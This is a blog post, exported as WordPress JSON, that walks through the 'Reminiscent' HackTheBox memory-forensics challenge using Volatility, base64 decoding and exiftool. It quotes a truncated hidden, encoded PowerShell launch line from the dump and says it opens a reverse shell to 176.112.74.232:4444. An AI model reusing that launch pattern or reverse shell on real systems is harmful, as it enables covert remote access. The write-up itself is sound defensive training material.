{"id":110,"date":"2025-08-26T09:00:00","date_gmt":"2025-08-26T09:00:00","guid":{"rendered":"https:\/\/justruss.tech\/?p=110"},"modified":"2026-05-15T10:34:55","modified_gmt":"2026-05-15T10:34:55","slug":"reminiscent-easy","status":"publish","type":"post","link":"https:\/\/justruss.tech\/index.php\/2025\/08\/26\/reminiscent-easy\/","title":{"rendered":"Reminiscent | HTB Forensics (Easy)"},"content":{"rendered":"<p>Reminiscent is an Easy-rated HackTheBox forensics challenge. A recruiter opened a malicious email attachment and infected their virtual machine. A memory dump was captured during the infection. The task is to reconstruct what happened and recover the flag.<\/p>\n<h3>Establishing the image profile<\/h3>\n<pre>vol -f flounder-pc-memdump.elf windows.info\n# Kernel: Windows 7 SP1 x64<\/pre>\n<h3>Process tree review<\/h3>\n<pre>vol -f flounder-pc-memdump.elf windows.pstree\n\n# Relevant excerpt:\n# 2736  2608  WINWORD.EXE     2017-10-04 18:39:55\n# ** 3180 2736  powershell.exe  2017-10-04 18:40:00<\/pre>\n<p>Word spawning PowerShell is the classic macro execution chain. That parent-child relationship alone tells you the infection vector: a malicious Office document with an embedded macro. The recruiter opened a resume and the macro ran.<\/p>\n<h3>Extracting the PowerShell command<\/h3>\n<pre>vol -f flounder-pc-memdump.elf windows.cmdline --pid 3180\n\n# Output:\n# 3180  powershell.exe  -NoP -sta -NonI -W Hidden -Enc WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4A...<\/pre>\n<p>Decoding the base64:<\/p>\n<pre>echo \"WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4A...\" | base64 -d | iconv -f utf-16le -t utf-8\n# Sets TLS 1.2 then opens a TCP connection to 176.112.74.232:4444<\/pre>\n<p>Standard PowerShell reverse shell phoning back to attacker infrastructure.<\/p>\n<h3>Recovering the malicious document<\/h3>\n<pre>vol -f flounder-pc-memdump.elf windows.filescan | grep -i \"resume\\|\\.docx\"\n# 0x000000013fc10070  \\Users\\user\\Desktop\\resume_scott.docx\n\nvol -f flounder-pc-memdump.elf windows.dumpfiles --physaddr 0x000000013fc10070 -o \/tmp\/<\/pre>\n<p>The flag is embedded in the recovered document metadata:<\/p>\n<pre>exiftool resume_scott.docx | grep -i \"flag\\|HTB\"\n# Subject: HTB{...}<\/pre>\n<h3>Key takeaway<\/h3>\n<p>Malicious email attachment to macro to PowerShell download cradle to reverse shell. A very common chain in real incidents. The memory artefacts here are extensive because the attacker did nothing to clean up. The Word to PowerShell parent-child relationship in the process tree is the first thing to look at and the base64 in the PowerShell arguments decodes to everything needed to understand the full attack chain.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A complete walkthrough of the Reminiscent Easy forensics challenge on HackTheBox. A memory dump from a machine infected via a malicious email attachment. Process tree analysis, base64 command decoding, and document recovery.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-110","post","type-post","status-publish","format-standard","hentry","category-hackthebox"],"_links":{"self":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/110","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/comments?post=110"}],"version-history":[{"count":11,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/110\/revisions"}],"predecessor-version":[{"id":344,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/110\/revisions\/344"}],"wp:attachment":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/media?parent=110"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/categories?post=110"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/tags?post=110"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}